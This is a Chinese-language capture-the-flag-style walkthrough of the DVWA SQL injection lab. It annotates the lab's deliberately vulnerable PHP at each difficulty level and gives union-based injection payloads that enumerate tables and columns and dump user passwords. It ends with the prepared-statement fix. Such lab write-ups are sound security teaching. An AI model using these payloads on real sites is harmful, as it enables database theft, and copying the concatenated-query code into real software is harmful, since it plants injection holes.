DVWA-SQL Injection(SQL注入)
sql注入是典型、常见的Web漏洞之一，现在在网络中也可能存在，不过大多数为SQL盲注。
攻击者通过恶意的SQL语句来破坏SQL查询语句，达到数据库泄露的目的
LOW
审计源码
<?php
// 判断是否提交
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// 获取传入的 id
$id = $_REQUEST[ 'id' ];
// switch case 语句，类似于if elif else语句
// 判断数据库类型
switch ($_DVWA['SQLI_DB']) {
// mysql数据库
case MYSQL:
// 定义sql语句，在 $id 左右加入了 '' ，代表这是一个字符串类型的注入
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
// 进行数据库查询
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// 从结果集中取得一行作为关联数组
while( $row = mysqli_fetch_assoc( $result ) ) {
// 获取 first_name 和 last_name 字段内容
$first = $row["first_name"];
$last = $row["last_name"];
// 打印用户信息
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
break;
// sqlite数据库
case SQLITE:
global $sqlite_db_connection;
#$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
#$sqlite_db_connection->enableExceptions(true);
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>
通过观察，只是判断了服务器的数据库，没有对我们传入的ID进行一些过滤，可以直接进行SQL注入
union 联合查询注入
判断注入类型
使用1或者1a来进行判断，如果是数字类型，1a就会报错
http://172.19.31.9/dvwa/vulnerabilities/sqli/?id=1a&Submit=Submit#
1a正常执行，可以看出是字符型的，需要我们输入'进行闭合
构造闭合id=1'#
正常回显
order by 判断字段数
1' order by 1#
正常执行
在输入1' order by 3#时，进行了报错
那么就是有两个字段数
union select 1,2查看回显字段
1' union select 1,2 #
这里成功回显了我们select 1,2的值，也显示了上一个注释的语句的输出，可以输入
-1' union select 1,2 #,-1让前面的语句报错，只显示了后面的查询内容
database()获取当前数据库
-1' union select user(),version()#
回显了当前数据库的用户、数据库版本号
再次使用database()、@@datadir，获取数据库目录和当前数据库名
-1' union select @@datadir,database()#
得到当前数据库名为dvwa
获取dvwa数据库中的表
-1' union select table_name,2 from information_schema.tables where table_schema=database()#
发现报错，这里是字段列的编码格式不一样，只需要把table_name用hex()函数包裹起来，因为mysql是认识十六进制的
-1' union select hex(table_name),2 from information_schema.tables where table_schema=database()#
在First name列中，显示了两次的数据，代表有两个数据库，将其中的十六进制解码得到
使用HackBar解码后得到6775657374626F6F6B的值为guestbook，另一个是users
有时候其他的靶场只能回显一段数据，不像现在一样回显两段数据，可以使用group_concat，将每行的数据使用,隔开进行显示
-1' union select group_concat(hex(table_name)),2 from information_schema.tables where table_schema=database()#
这样就显示了一段数据
获取users表中的字段名
-1' union select column_name,2 from information_schema.columns where table_schema=database() and table_name=0x7573657273#
查询数据库中字段的名称，where用筛选到dvwa数据库中的users表，database()执行转换为dvwa，mysql可以读取十六进制,0x7573657273为users
查询报错
跟上次一样，继续使用hex()进行转换，这里我也加上了group_concat函数
-1' union select group_concat(hex(column_name)),2 from information_schema.columns where table_schema=database() and table_name=0x7573657273#
可以看到这里显示了很多字段名，一个一个爆破的到重要的字段名username和password
查询 username，password字段的内容
-1' union select user,password from users#
成功获取数据库的密码，当然这里也可以使用hex()函数和group_concat()函数
这样就通过了
Medium
审计源码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// 获取传入的 id
$id = $_POST[ 'id' ];
// mysqli_real_escape_string对 \n ' " 等字符进行的转义
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
// 判断数据库类型
switch ($_DVWA['SQLI_DB']) {
// mysql数据库
case MYSQL:
// id 没有价格引号，是一个数字型的sql注入
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// 获取查询中 first_name 和 last_name 字段的内容
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
id变为了POST传参的方式，使用了mysqli_real_escape_string()函数对id进行了转义，并且做了一个选择，想通过这个来限制用户的输入
使用HackBar传参id=1a报错
可以判断这是一个数字行的注入
数字型的sql注入不用进行闭合
order by查看字段数量
和上一关一样,order by 3 报错，所有有 2 个字段
后续操作和LOW级别一致，只是不用使用'或者"进行闭合还有使用#注释
High
审计源码
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>
这里的代码和LOW可以说是没有太大的区别了，只不过是通过session获取的ID值
一样的绕过方法1'#
Impossible
审计源码
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// 获取user_token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// 获取 id 值
$id = $_GET[ 'id' ];
// 判断 id 传入的是否为数字
if(is_numeric( $id )) {
// 将 id 转换为字符串
$id = intval ($id);
// 判断数据库类型
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// 引入了PDO抽象成技术
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// 获取 first_name 和 last_name 字段
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// 打印字段内容
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
// SQLITE数据库
case SQLITE:
global $sqlite_db_connection;
// 一样的方法
$stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
$stmt->bindValue(':id',$id,SQLITE3_INTEGER);
$result = $stmt->execute();
$result->finalize();
if ($result !== false) {
// There is no way to get the number of rows returned
// This checks the number of columns (not rows) just
// as a precaution, but it won't stop someone dumping
// multiple rows and viewing them one at a time.
$num_columns = $result->numColumns();
if ($num_columns == 2) {
$row = $result->fetchArray();
// 获取 first_name 和 last_name 字段的内容
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// 打印字段内容
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
break;
}
}
}
// 生成user_token
generateSessionToken();
?>
这里首先会判断传入的ID是否为数字，然后又将ID转换为了字符串类型，使用PDO方法连接数据库，然我们没机可乘
